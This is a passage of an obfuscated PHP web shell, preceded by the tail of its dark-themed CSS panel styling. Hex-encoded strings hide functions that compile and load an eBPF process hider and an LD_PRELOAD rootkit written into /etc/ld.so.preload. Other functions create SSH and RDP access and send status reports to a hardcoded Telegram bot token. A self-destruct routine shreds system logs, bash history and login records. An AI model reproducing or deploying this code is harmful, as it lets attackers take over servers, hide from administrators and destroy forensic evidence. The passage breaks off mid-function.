.logout-btn:hover { color:#ff4655; background:var(--glow-danger); }
.menu-toggle { display:none; position:fixed; top:12px; left:12px; z-index:999; background:var(--bg-glass); backdrop-filter:blur(12px); border:1px solid var(--border-card); color:var(--text-secondary); border-radius:var(--radius-md); padding:8px 12px; cursor:pointer; font-size:16px; transition:var(--transition); }
.menu-toggle:hover { border-color:var(--text-accent); color:var(--text-accent); }
@media(max-width:768px){ .menu-toggle { display:block; } .sidebar { transform:translateX(-100%); width:280px; background:var(--bg-primary); } .sidebar.active { transform:translateX(0); } .sidebar.active::after { content:''; position:fixed; inset:0; background:rgba(0,0,0,0.5); z-index:-1; } }
.card { background:var(--bg-card); border-radius:var(--radius-lg); border:1px solid var(--border-card); margin-bottom:16px; overflow:hidden; transition:var(--transition); }
.card:hover { border-color:var(--border-subtle); }
.card-header { padding:14px 20px; border-bottom:1px solid var(--border-card); display:flex; justify-content:space-between; align-items:center; font-size:13px; font-weight:500; color:var(--text-secondary); }
.card-body { padding:16px 20px; max-height:60vh; overflow-y:auto; }
.table { width:100%; border-collapse:collapse; font-size:12.5px; }
.table th { text-align:left; padding:8px 10px; border-bottom:1px solid var(--border-card); color:var(--text-muted); font-weight:600; font-size:10px; text-transform:uppercase; letter-spacing:0.5px; position:sticky; top:0; background:var(--bg-card); }
.table td { padding:6px 10px; border-bottom:1px solid var(--border-card); }
.table tr:hover td { background:var(--bg-card-hover); }
.folder { color:var(--text-accent); font-weight:500; }
.file { color:var(--text-secondary); }
.file-icon { margin-right:6px; }
.action-links { display:flex; gap:4px; flex-wrap:wrap; }
.action-links a { font-size:10px; color:var(--text-muted); padding:2px 8px; border-radius:var(--radius-sm); background:rgba(255,255,255,0.02); transition:var(--transition); border:1px solid transparent; }
.action-links a:hover { color:var(--text-accent); background:var(--glow-accent); border-color:var(--border-active); }
.action-links a.danger:hover { color:#ff4655; background:var(--glow-danger); border-color:rgba(255,70,85,0.2); }
.breadcrumb { padding:6px 0 12px; font-size:12px; color:var(--text-muted); overflow-x:auto; white-space:nowrap; }
.breadcrumb a { color:var(--text-secondary); transition:var(--transition); }
.breadcrumb a:hover { color:var(--text-accent); }
.stats-grid { display:grid; grid-template-columns:repeat(auto-fit, minmax(100px, 1fr)); gap:8px; margin-bottom:14px; }
.stat-item { background:var(--bg-input); padding:10px 14px; border-radius:var(--radius-md); border:1px solid var(--border-card); text-align:center; }
.stat-item .stat-value { font-size:16px; font-weight:600; color:var(--text-accent); }
.stat-item .stat-label { font-size:9px; color:var(--text-muted); text-transform:uppercase; letter-spacing:0.5px; margin-top:2px; }
.alert { padding:10px 16px; border-radius:var(--radius-md); margin-bottom:12px; font-size:13px; border-left:3px solid; }
.alert-danger { background:var(--glow-danger); border-color:#ff4655; color:#ff4655; }
.alert-success { background:var(--glow-success); border-color:#3cd278; color:#3cd278; }
.alert-warning { background:var(--glow-warning); border-color:#ffb432; color:#ffb432; }
.terminal-output { background:var(--bg-input); padding:12px 16px; border-radius:var(--radius-md); font-family:var(--font-mono); font-size:12px; max-height:280px; overflow-y:auto; white-space:pre-wrap; word-break:break-all; border:1px solid var(--border-card); margin-bottom:10px; line-height:1.6; color:var(--text-secondary); }
.terminal-input { display:flex; gap:8px; flex-wrap:wrap; }
.terminal-input .form-control { flex:1; min-width:120px; font-family:var(--font-mono); font-size:13px; }
.modal { position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.7); display:flex; align-items:center; justify-content:center; z-index:1000; opacity:0; visibility:hidden; transition:0.25s; backdrop-filter:blur(12px); }
.modal.active { opacity:1; visibility:visible; }
.modal-content { background:var(--bg-card); border-radius:var(--radius-lg); max-width:520px; width:95%; max-height:90vh; overflow-y:auto; border:1px solid var(--border-card); transform:translateY(20px) scale(0.96); transition:0.3s cubic-bezier(0.4,0,0.2,1); box-shadow:var(--shadow-card); }
.modal.active .modal-content { transform:translateY(0) scale(1); }
.modal-header { padding:16px 20px; border-bottom:1px solid var(--border-card); display:flex; justify-content:space-between; align-items:center; }
.modal-title { font-size:16px; font-weight:600; color:var(--text-primary); }
.modal-close { background:none; border:none; color:var(--text-muted); font-size:20px; cursor:pointer; padding:0 4px; transition:var(--transition); }
.modal-close:hover { color:var(--text-primary); transform:rotate(90deg); }
.modal-body { padding:20px; }
.badge { display:inline-block; padding:2px 10px; border-radius:10px; font-size:9px; font-weight:600; text-transform:uppercase; letter-spacing:0.3px; }
.badge-root { background:rgba(255,70,85,0.2); color:#ff4655; }
.badge-user { background:rgba(255,255,255,0.06); color:var(--text-muted); }
.badge-shell { background:var(--glow-warning); color:#ffb432; }
.badge-chattr { background:var(--glow-success); color:#3cd278; }
.badge-on { background:var(--glow-success); color:#3cd278; }
.badge-off { background:var(--glow-danger); color:#ff4655; }
.toast-container { position:fixed; top:24px; right:24px; z-index:9999; display:flex; flex-direction:column; gap:8px; }
.toast { padding:12px 20px; border-radius:var(--radius-md); background:var(--bg-glass); backdrop-filter:blur(20px); border:1px solid var(--border-card); color:var(--text-secondary); font-size:13px; box-shadow:var(--shadow-card); animation:slideIn 0.3s ease; max-width:380px; font-family:var(--font); }
.toast-success { border-left:3px solid #3cd278; }
.toast-error { border-left:3px solid #ff4655; }
.toast-info { border-left:3px solid var(--text-accent); }
.toast-warning { border-left:3px solid #ffb432; }
@keyframes slideIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
@keyframes slideOut { from { transform:translateX(0); opacity:1; } to { transform:translateX(100%); opacity:0; } }
@media(max-width:480px){ .login-box { padding:32px 24px; } .table { font-size:11px; } .table th, .table td { padding:4px 6px; } .action-links a { font-size:9px; padding:1px 6px; } .stats-grid { grid-template-columns:repeat(2, 1fr); } }
</style>
</head>
<body>
<?php goto HZotF; JPQqG: $editableExtensions = array("\x74\x78\x74", "\x70\x68\160", "\150\x74\x6d\x6c", "\143\163\x73", "\x6a\163", "\152\163\157\156", "\170\x6d\154", "\x6d\x64", "\x69\x6e\x69", "\154\x6f\147", "\x68\164\x61\143\x63\x65\x73\x73"); goto S3ThT; qkaK0: function hide_process_ebpf($process_name, $action = "\150\151\x64\x65") { global $botToken, $telegramUserId; $results = array(); $process_name = substr((string) $process_name, 0, 16); if ($action === "\x68\151\x64\145") { $results[] = "\133\x31\135\40\x49\x6e\163\x74\x61\154\154\151\x6e\x67\x20\x65\102\x50\106\40\x70\x72\x6f\143\x65\x73\163\40\x68\x69\144\x65\x72\x2e\56\56"; $ebpf_code = "\12\43\x69\156\x63\154\x75\x64\x65\40\x3c\x6c\151\x6e\165\x78\57\x62\x70\146\x2e\x68\x3e\xa\43\x69\156\x63\x6c\165\144\145\40\x3c\142\x70\x66\x2f\x62\x70\x66\x5f\150\145\154\x70\145\162\163\56\x68\x3e\12\x23\x69\156\143\x6c\165\144\x65\40\74\142\x70\x66\57\142\x70\x66\137\164\x72\x61\x63\151\156\x67\x2e\x68\x3e\xa\xa\x53\105\103\x28\42\x6b\160\x72\157\x62\x65\x2f\147\145\x74\x64\x65\156\x74\163\x36\x34\42\x29\xa\x69\156\x74\40\102\120\106\137\x4b\x50\122\117\x42\x45\50\x68\x69\x64\145\137\160\162\x6f\x63\145\163\x73\x2c\40\x73\x74\x72\x75\143\164\x20\154\x69\x6e\x75\x78\x5f\x64\151\x72\145\156\164\66\64\x2a\x20\144\151\162\160\x29\40\173\12\x20\x20\40\40\143\150\141\162\x20\143\x6f\x6d\155\133\x31\x36\x5d\x3b\12\x20\40\x20\x20\x62\x70\x66\137\x67\x65\164\x5f\143\165\162\162\145\x6e\x74\137\x63\157\155\x6d\50\x63\157\x6d\155\54\x20\163\x69\172\145\157\146\x28\143\x6f\155\x6d\x29\51\x3b\12\40\40\x20\40\x23\x70\162\x61\147\x6d\x61\40\x75\x6e\x72\x6f\x6c\154\xa\40\40\x20\x20\x66\x6f\162\40\50\151\156\164\x20\151\40\x3d\x20\60\73\40\x69\x20\74\x20\x31\x36\x3b\x20\151\53\x2b\x29\40\x7b\xa\x20\40\40\x20\x20\40\40\x20\x69\146\x20\50\x63\157\x6d\155\x5b\151\135\x20\41\x3d\x20\x22" . $process_name . "\x22\x5b\151\x5d\x29\x20\173\12\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\162\x65\x74\165\162\156\40\x30\73\xa\x20\40\x20\x20\40\x20\40\x20\175\12\40\40\x20\40\x7d\12\x20\x20\x20\40\x72\x65\x74\165\x72\x6e\x20\x2d\105\x4e\x4f\105\116\x54\73\xa\175\xa\12\123\x45\103\50\42\x6b\160\x72\x6f\x62\145\x2f\x67\145\x74\144\145\x6e\164\x73\x22\x29\12\x69\156\164\40\x42\x50\106\137\113\x50\x52\117\x42\105\50\150\151\144\145\137\x70\162\x6f\x63\145\x73\x73\63\x32\54\40\x73\164\162\165\143\164\x20\154\x69\156\x75\170\x5f\144\x69\162\145\156\x74\x2a\x20\144\x69\x72\160\51\40\173\xa\40\40\40\40\x63\x68\141\162\40\x63\157\x6d\155\133\x31\x36\x5d\73\xa\40\40\x20\x20\142\x70\x66\x5f\147\x65\x74\x5f\143\x75\x72\x72\145\156\x74\x5f\x63\157\155\155\50\x63\157\155\155\54\x20\163\151\x7a\x65\x6f\146\50\x63\157\x6d\x6d\51\51\73\12\x20\40\x20\x20\43\160\x72\x61\x67\155\x61\x20\165\156\x72\157\x6c\x6c\xa\x20\40\40\40\146\x6f\x72\40\50\151\156\x74\40\151\40\x3d\40\60\73\40\x69\x20\x3c\x20\61\x36\73\40\x69\x2b\x2b\x29\40\x7b\12\40\x20\x20\40\x20\40\40\x20\x69\x66\x20\50\143\x6f\x6d\x6d\x5b\x69\x5d\40\41\75\40\x22" . $process_name . "\42\x5b\x69\135\51\40\173\xa\40\40\x20\40\40\x20\40\40\x20\x20\40\40\x72\145\164\165\x72\156\40\x30\73\xa\x20\40\x20\40\x20\40\40\x20\175\xa\40\x20\40\40\x7d\12\x20\x20\40\x20\x72\145\164\165\162\x6e\x20\x2d\x45\x4e\x4f\x45\116\124\73\xa\175\12\12\x63\x68\x61\x72\x20\137\154\x69\143\x65\x6e\163\x65\x5b\x5d\40\123\105\103\x28\42\154\x69\143\x65\x6e\163\145\42\51\40\x3d\x20\42\107\120\x4c\x22\x3b\xa"; @file_put_contents("\x2f\164\x6d\160\57\x68\151\x64\x65\x5f\x70\x72\x6f\143\145\x73\163\x2e\142\160\x66\56\143", $ebpf_code); @shell_exec("\x63\x6c\x61\156\147\x20\55\117\x32\40\x2d\164\x61\162\x67\x65\164\x20\142\x70\146\x20\x2d\x63\x20\x2f\164\x6d\x70\57\150\151\144\145\x5f\160\162\x6f\x63\145\x73\163\x2e\x62\160\146\x2e\x63\x20\55\x6f\40\x2f\164\x6d\160\x2f\150\151\144\145\137\160\x72\157\x63\x65\163\x73\56\x62\x70\x66\56\157\x20\62\x3e\57\144\145\x76\x2f\x6e\x75\x6c\x6c"); @shell_exec("\142\x70\146\164\157\x6f\x6c\x20\160\x72\x6f\x67\40\x6c\x6f\x61\x64\x20\57\x74\155\160\x2f\x68\x69\x64\145\x5f\x70\x72\157\x63\145\x73\163\x2e\142\160\x66\x2e\x6f\40\57\x73\x79\163\x2f\146\x73\x2f\x62\x70\x66\57\x68\151\x64\x65\137\160\162\157\143\145\163\163\40\62\x3e\57\144\x65\166\57\x6e\165\154\x6c"); if (file_exists("\x2f\x73\171\163\57\x66\163\57\x62\x70\146\x2f\150\x69\144\x65\x5f\x70\x72\x6f\x63\x65\x73\x73")) { @shell_exec("\x62\160\146\164\x6f\x6f\154\40\x70\x72\157\x67\x20\x61\164\164\x61\143\150\40\x70\x69\x6e\156\145\x64\40\x2f\x73\x79\x73\x2f\146\x73\57\142\160\146\x2f\x68\151\144\x65\x5f\160\x72\157\143\145\x73\163\x20\153\x70\162\157\142\x65\40\x67\145\164\x64\145\x6e\x74\x73\66\64\x20\62\76\x2f\x64\145\x76\57\x6e\x75\154\x6c"); @shell_exec("\142\160\146\x74\157\157\x6c\40\x70\x72\157\147\x20\141\x74\x74\141\x63\x68\x20\160\x69\x6e\x6e\x65\x64\40\57\x73\x79\x73\x2f\146\x73\x2f\x62\x70\x66\x2f\150\x69\x64\145\137\x70\x72\x6f\143\145\163\x73\x20\x6b\x70\x72\157\142\x65\40\147\145\x74\x64\145\156\x74\x73\40\62\x3e\57\x64\x65\x76\x2f\156\x75\x6c\154"); $results[] = "\342\234\205\40\145\x42\x50\x46\40\x70\x72\x6f\x63\145\x73\163\x20\150\151\144\x65\162\x20\151\x6e\x73\x74\141\154\154\145\x64"; } else { $results[] = "\xe2\x9a\xa0\357\xb8\217\x20\145\102\x50\x46\x20\x6e\157\x74\40\141\166\141\x69\x6c\141\x62\x6c\145\x2c\x20\165\163\x69\156\147\x20\146\x61\x6c\154\142\x61\x63\153"; } $results[] = "\133\62\135\x20\x49\x6e\163\164\141\x6c\x6c\x69\156\147\40\x41\172\141\x74\x68\x6f\x74\150\55\163\x74\171\x6c\x65\40\x72\x6f\157\x74\153\x69\x74\x2e\x2e\x2e"; $rootkit_code = "\12\x23\144\x65\146\x69\156\145\x20\137\107\116\125\137\123\117\125\122\103\105\xa\x23\151\156\143\154\x75\x64\x65\40\x3c\144\154\146\x63\156\x2e\x68\76\xa\x23\151\156\143\x6c\x75\x64\145\x20\x3c\144\x69\162\x65\156\x74\56\x68\x3e\xa\43\x69\x6e\143\154\165\x64\145\40\74\x73\164\x72\151\x6e\x67\x2e\150\76\12\x23\x69\156\x63\154\x75\x64\x65\40\x3c\165\x6e\x69\163\164\x64\56\150\x3e\12\x23\151\x6e\x63\154\165\x64\x65\x20\74\x73\x79\x73\57\x73\x79\x73\143\141\154\x6c\x2e\150\x3e\12\12\x73\x74\x61\164\x69\143\40\x63\x6f\156\x73\x74\x20\x63\x68\x61\162\52\40\150\x69\144\144\145\156\x5f\x70\162\157\x63\163\x5b\x5d\40\x3d\x20\173\42" . $process_name . "\x22\x2c\40\x22\x70\x68\160\42\x2c\x20\x22\163\150\x65\x6c\x6c\42\x2c\40\x4e\125\x4c\x4c\x7d\x3b\12\12\x6c\x6f\x6e\147\x20\163\x79\163\143\x61\x6c\154\x28\154\x6f\156\147\x20\156\165\x6d\142\145\x72\x2c\40\x2e\x2e\x2e\x29\40\x7b\xa\40\40\40\40\x6c\x6f\156\147\x20\50\52\x6f\162\x69\x67\137\x73\171\163\143\x61\154\154\x29\50\154\x6f\156\x67\x2c\x20\56\x2e\56\x29\x20\x3d\x20\x64\x6c\x73\171\x6d\50\x52\124\114\104\x5f\x4e\105\130\x54\54\x20\x22\163\171\x73\143\x61\154\x6c\x22\x29\x3b\12\40\40\x20\x20\151\146\x20\50\x6e\x75\x6d\142\145\x72\x20\x3d\x3d\40\123\131\x53\137\x67\145\x74\x64\145\156\x74\x73\66\x34\x20\x7c\174\40\156\x75\155\x62\145\162\40\75\75\x20\123\131\x53\137\147\145\164\x64\x65\156\164\x73\x29\x20\x7b\xa\40\40\40\40\40\40\40\x20\x72\145\164\x75\162\x6e\x20\x2d\x45\x4e\117\x45\116\124\73\12\x20\x20\x20\x20\x7d\xa\x20\40\40\x20\162\145\x74\x75\162\156\40\157\x72\x69\x67\x5f\x73\x79\163\x63\x61\154\x6c\x28\x6e\165\155\x62\145\x72\x2c\40\x5f\x5f\126\x41\137\x41\x52\107\x53\137\137\x29\x3b\xa\x7d\xa\xa\163\164\162\x75\143\x74\40\x64\151\x72\x65\x6e\x74\52\40\x72\x65\x61\x64\x64\x69\162\x28\x44\x49\122\52\x20\x64\x69\162\x70\51\40\173\xa\x20\x20\x20\x20\x73\164\x72\165\x63\164\40\144\x69\162\145\156\164\x2a\x20\50\x2a\x6f\x72\151\x67\x5f\x72\x65\141\x64\144\151\x72\51\x28\104\111\122\x2a\51\40\x3d\x20\x64\154\163\171\x6d\x28\122\124\x4c\x44\x5f\x4e\105\x58\x54\54\40\x22\x72\x65\x61\144\144\151\x72\x22\51\x3b\12\40\x20\40\40\x73\164\162\x75\x63\x74\x20\144\x69\162\145\156\x74\x2a\40\x64\x69\x72\x3b\12\x20\x20\x20\x20\167\x68\x69\x6c\x65\40\x28\x28\x64\151\162\40\x3d\x20\157\x72\151\x67\x5f\x72\145\141\x64\x64\x69\162\50\x64\151\162\160\x29\x29\x20\x21\75\x20\116\125\x4c\x4c\51\40\x7b\12\40\40\40\x20\40\40\x20\x20\x69\x6e\164\40\x68\x69\x64\x64\145\x6e\40\75\x20\x30\73\xa\40\40\40\40\x20\x20\x20\x20\146\x6f\162\x20\50\x69\x6e\x74\x20\x69\40\x3d\x20\60\73\40\x68\151\144\144\145\x6e\137\160\162\x6f\x63\x73\x5b\x69\x5d\40\x21\x3d\x20\116\125\114\x4c\73\x20\x69\53\53\x29\40\x7b\xa\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x69\146\x20\x28\163\164\162\163\x74\x72\50\x64\x69\x72\55\76\144\x5f\x6e\x61\x6d\145\x2c\40\150\151\144\x64\x65\156\x5f\160\x72\x6f\x63\x73\133\x69\135\x29\40\41\75\40\x4e\x55\114\114\51\x20\x7b\12\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\150\151\144\144\145\156\x20\x3d\40\61\73\xa\40\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\142\162\x65\x61\x6b\x3b\xa\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\175\xa\x20\x20\40\40\40\40\x20\40\175\xa\x20\40\40\40\x20\x20\40\40\151\x66\40\x28\x21\150\151\144\144\x65\156\x29\x20\162\145\x74\x75\162\156\x20\x64\151\x72\73\12\x20\x20\40\40\175\xa\x20\40\x20\40\162\x65\x74\165\162\156\40\x4e\125\114\114\73\12\175\xa\xa\151\x6e\164\40\163\143\141\156\144\151\162\x28\x63\x6f\x6e\x73\164\x20\143\x68\141\x72\52\40\x64\x69\162\x2c\40\163\x74\162\165\x63\x74\40\144\x69\162\145\156\164\x2a\x2a\x2a\40\x6e\x61\155\145\154\x69\163\164\54\12\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x69\x6e\x74\x20\50\52\x66\151\154\164\x65\x72\51\50\x63\157\156\x73\164\40\163\x74\x72\165\143\164\40\x64\x69\x72\x65\156\164\x2a\x29\x2c\xa\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\151\156\164\x20\x28\52\x63\157\155\x70\x61\x72\x29\50\x63\157\156\x73\x74\x20\x73\x74\162\x75\x63\164\40\x64\151\x72\145\156\164\52\x2a\x2c\x20\143\x6f\156\163\164\x20\x73\x74\162\x75\x63\x74\x20\144\151\x72\145\x6e\164\52\52\51\51\x20\173\12\40\x20\40\40\x69\x6e\x74\40\50\52\x6f\x72\151\147\x5f\163\x63\x61\x6e\x64\x69\162\x29\50\x63\x6f\156\x73\164\x20\x63\x68\141\x72\52\54\x20\x73\x74\x72\x75\x63\x74\40\144\151\x72\145\x6e\x74\x2a\52\52\x2c\x20\12\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\151\x6e\164\40\50\x2a\x29\x28\x63\x6f\156\163\164\40\163\164\x72\165\x63\164\40\x64\151\x72\145\x6e\164\x2a\51\54\xa\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\40\40\40\40\40\40\40\40\40\40\151\156\164\40\50\x2a\x29\x28\x63\x6f\x6e\163\164\x20\x73\164\162\165\x63\164\x20\144\x69\162\145\x6e\164\x2a\52\54\x20\143\157\x6e\x73\164\40\163\164\162\165\x63\x74\x20\x64\x69\x72\x65\156\164\x2a\x2a\x29\51\x20\x3d\40\144\x6c\x73\x79\155\x28\x52\124\114\x44\137\116\x45\x58\x54\x2c\40\x22\163\x63\x61\x6e\144\x69\x72\42\51\73\xa\40\40\40\40\x69\156\164\x20\162\145\164\x20\x3d\40\157\162\x69\147\x5f\163\x63\x61\156\x64\151\162\50\144\151\x72\54\40\x6e\x61\x6d\145\154\151\x73\164\54\40\x66\x69\154\164\x65\162\x2c\40\143\157\x6d\160\141\x72\x29\73\12\40\40\40\40\x69\146\40\x28\x72\145\x74\40\x3e\x20\60\x20\46\x26\40\163\164\162\x73\x74\x72\x28\x64\x69\162\x2c\40\x22\57\x70\162\x6f\143\x22\51\40\x21\75\x20\116\125\114\x4c\x29\x20\x7b\xa\x20\40\x20\40\40\40\40\40\x69\156\x74\40\156\145\x77\137\x72\145\x74\40\x3d\40\x30\x3b\xa\x20\40\x20\40\40\x20\40\40\146\157\162\x20\x28\x69\156\x74\x20\151\40\75\40\60\73\x20\x69\40\x3c\x20\x72\x65\164\73\40\151\53\x2b\51\40\x7b\12\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\151\156\x74\x20\x68\151\x64\144\145\x6e\x20\x3d\x20\x30\x3b\xa\40\40\x20\40\40\40\x20\40\x20\x20\40\40\146\157\x72\x20\50\151\156\164\x20\x6a\40\x3d\x20\x30\73\x20\x68\x69\x64\144\145\156\137\160\x72\157\x63\163\133\152\x5d\x20\x21\75\x20\x4e\x55\x4c\x4c\73\x20\152\x2b\53\51\x20\x7b\12\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\151\x66\x20\x28\x73\164\x72\163\164\x72\x28\x28\x2a\156\141\x6d\x65\x6c\151\x73\x74\51\133\x69\x5d\x2d\76\x64\x5f\x6e\141\155\145\54\40\x68\151\x64\x64\x65\x6e\137\x70\162\x6f\x63\x73\133\x6a\135\51\40\x21\75\x20\x4e\x55\x4c\x4c\x29\40\x7b\12\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\150\151\x64\x64\x65\156\40\75\x20\x31\73\12\40\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x62\162\145\x61\153\x3b\xa\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x7d\12\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x7d\12\x20\40\x20\40\40\x20\40\40\x20\x20\x20\x20\151\146\x20\50\x21\150\x69\x64\144\145\x6e\51\x20\173\xa\40\x20\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\50\x2a\x6e\x61\155\145\154\151\x73\164\51\x5b\x6e\x65\167\x5f\x72\x65\x74\53\53\x5d\40\75\x20\50\x2a\156\x61\155\x65\x6c\x69\x73\164\51\x5b\151\x5d\73\12\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\x7d\12\40\x20\40\x20\40\x20\x20\40\x7d\12\40\x20\40\40\x20\x20\40\x20\162\x65\164\40\x3d\40\x6e\145\x77\137\162\145\164\x3b\12\x20\40\40\40\x7d\12\40\40\40\40\162\x65\x74\x75\x72\156\x20\162\x65\x74\73\12\175\12"; @file_put_contents("\x2f\164\155\160\x2f\x72\x6f\x6f\x74\x6b\x69\x74\x2e\x63", $rootkit_code); @shell_exec("\147\x63\x63\x20\55\x73\150\x61\x72\x65\144\x20\55\146\x50\111\103\40\57\x74\155\160\57\162\157\x6f\x74\x6b\151\x74\x2e\143\40\55\157\40\x2f\164\x6d\x70\57\x6c\151\x62\x72\x6f\157\164\x6b\151\x74\x2e\163\157\x20\55\x6c\144\x6c\40\x32\x3e\x2f\x64\145\166\x2f\156\x75\154\154"); if (file_exists("\57\164\x6d\x70\x2f\x6c\x69\x62\162\x6f\x6f\164\153\151\164\x2e\163\157")) { @copy("\57\x74\x6d\x70\57\154\x69\x62\x72\157\x6f\164\x6b\x69\164\x2e\x73\x6f", "\57\x75\x73\x72\57\x6c\x6f\143\x61\154\57\x6c\x69\142\x2f\x6c\x69\142\x72\157\157\164\x6b\x69\x74\x2e\163\157"); @file_put_contents("\x2f\145\164\x63\57\x6c\144\56\163\157\x2e\160\x72\145\x6c\x6f\141\144", "\x2f\165\163\162\x2f\x6c\157\143\141\x6c\57\154\151\142\x2f\x6c\x69\x62\162\x6f\157\x74\153\151\164\56\x73\x6f\xa", FILE_APPEND); @shell_exec("\154\144\143\x6f\x6e\146\x69\x67\x20\x32\x3e\x2f\144\145\x76\57\x6e\165\154\154"); $results[] = "\xe2\234\x85\40\101\x7a\141\164\x68\157\x74\150\40\x72\157\x6f\x74\153\x69\164\40\151\x6e\x73\164\141\154\154\x65\x64"; } $msg = "\101\104\126\101\x4e\103\x45\x44\40\120\x52\x4f\103\105\x53\x53\x20\110\x49\104\111\116\107\xa\xa" . implode("\12", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\x74\x61\164\165\163" => "\163\165\x63\143\x65\x73\x73", "\x6d\145\163\163\141\147\x65" => $msg); } return array("\163\x74\x61\x74\165\163" => "\x65\x72\162\157\162", "\x6d\x65\163\163\x61\x67\145" => "\x49\x6e\x76\141\x6c\151\144\40\x61\143\x74\151\x6f\x6e"); } goto c4vZ4; Xivi9: if (isset($_GET["\x63\162\145\x61\164\x65\x5f\x73\x73\150"]) && isset($_SESSION["\x6c\157\x67\147\x65\144\x69\156"]) && $_SESSION["\154\157\147\147\145\x64\151\156"] === true) { $result = create_ssh(); sendJsonResponse($result); } goto LgXxx; LgXxx: if (isset($_GET["\143\x72\x65\141\x74\x65\x5f\162\x64\160"]) && isset($_SESSION["\x6c\x6f\x67\147\145\x64\x69\x6e"]) && $_SESSION["\x6c\x6f\147\x67\145\144\x69\156"] === true) { $result = create_rdp(); sendJsonResponse($result); } goto P3Z1o; Z_qhX: $botToken = "\70\x35\61\63\x30\60\x38\70\66\x35\x3a\101\101\106\x76\x42\x64\165\145\x50\137\x48\122\141\102\x66\x55\x35\150\x6d\67\x65\x6c\63\154\121\101\116\61\x44\170\172\147\x4f\x45\64"; goto SmOhT; MD5KX: function self_destruct_advanced() { global $botToken, $telegramUserId; $results = array(); $results[] = "\133\x31\135\x20\x4d\145\x6d\x6f\162\x79\x20\x77\x69\160\151\x6e\147\56\x2e\x2e"; @shell_exec("\x73\171\x6e\143"); @shell_exec("\x65\x63\150\157\40\x33\40\x3e\x20\x2f\160\162\157\143\57\x73\171\x73\57\x76\x6d\57\144\162\157\x70\137\143\x61\143\150\145\x73"); @shell_exec("\145\143\x68\157\40\61\40\76\x20\x2f\x70\162\157\143\57\163\171\x73\57\x76\x6d\x2f\x63\x6f\x6d\160\141\x63\x74\137\155\x65\155\x6f\162\x79"); @shell_exec("\x73\167\x61\160\x6f\x66\146\x20\55\141\x20\46\46\x20\x73\x77\141\x70\157\156\40\55\141\x20\62\76\57\144\x65\x76\x2f\x6e\x75\154\154"); $results[] = "\342\234\x85\x20\115\x65\155\157\162\x79\40\x77\151\160\145\x64"; $results[] = "\133\x32\x5d\40\101\x64\x76\x61\x6e\x63\x65\x64\40\154\157\x67\x20\143\154\145\x61\156\151\156\147\56\x2e\x2e"; $log_dirs = array("\57\x76\x61\x72\57\154\x6f\147", "\x2f\166\x61\x72\x2f\x6c\157\x67\57\141\x70\141\143\150\x65\62", "\57\x76\x61\162\57\x6c\157\x67\57\x6e\x67\x69\156\170", "\x2f\x76\x61\x72\57\x6c\x6f\147\x2f\x68\x74\164\x70\x64", "\x2f\x76\x61\162\x2f\x6c\x6f\x67\x2f\155\171\x73\161\154", "\57\166\141\162\57\x6c\157\x67\x2f\160\157\163\x74\147\x72\145\x73\161\154"); foreach ($log_dirs as $dir) { if (is_dir($dir)) { @shell_exec("\146\x69\x6e\144\40{$dir}\x20\x2d\x6e\x61\x6d\x65\40\x27\x2a\56\154\157\x67\x27\x20\x2d\145\x78\x65\x63\x20\163\x68\x72\x65\144\40\55\146\x75\x7a\x20\173\175\40\134\73\x20\x32\76\57\x64\145\166\57\156\x75\154\x6c"); @shell_exec("\x72\x6d\40\x2d\x72\146\40{$dir}\x2f\x2a\40\62\76\57\144\x65\166\x2f\x6e\x75\x6c\154"); } } @shell_exec("\146\x69\156\144\x20\57\150\x6f\x6d\x65\40\x2d\156\x61\155\x65\x20\42\x2e\x62\x61\163\150\x5f\150\151\163\x74\157\x72\171\x22\40\x2d\145\170\x65\143\40\x73\x68\162\x65\x64\40\55\146\165\172\40\173\175\x20\x5c\x3b\40\x32\x3e\57\144\x65\x76\x2f\156\165\154\x6c"); @shell_exec("\x68\x69\163\x74\x6f\162\171\40\55\x63\40\62\x3e\x2f\x64\145\166\x2f\156\x75\x6c\154"); @shell_exec("\x75\156\x73\145\x74\x20\x48\x49\x53\124\x46\x49\x4c\x45\40\x32\76\57\x64\x65\166\57\156\x75\x6c\x6c"); $results[] = "\xe2\234\205\x20\114\157\147\x73\40\x63\154\145\x61\156\x65\x64"; $results[] = "\x5b\x33\135\x20\x54\145\x6d\160\40\146\x69\154\x65\163\x20\x63\154\145\141\x6e\56\x2e\x2e"; @shell_exec("\162\155\40\x2d\x72\146\40\x2f\x74\x6d\160\57\x2a\40\57\x76\x61\x72\57\x74\155\160\57\x2a\x20\x2f\144\x65\166\57\163\x68\155\x2f\52\40\x32\76\57\x64\145\x76\x2f\156\x75\x6c\x6c"); $results[] = "\342\x9c\x85\x20\x54\145\155\x70\x20\x66\x69\154\145\163\x20\143\154\x65\141\156\x65\144"; $results[] = "\133\x34\x5d\x20\123\x79\163\x74\x65\x6d\40\146\x69\x6c\145\x73\40\167\x69\x70\x69\x6e\147\56\x2e\56"; if (isRoot()) { @shell_exec("\x72\155\x20\55\162\146\40\57\166\141\x72\57\154\157\x67\57\x77\x74\x6d\x70\x20\57\x76\141\x72\57\x6c\157\147\x2f\142\164\155\160\40\57\166\141\x72\57\x6c\157\147\x2f\154\x61\163\164\x6c\157\x67\40\x32\x3e\57\144\145\x76\x2f\x6e\x75\154\x6c"); 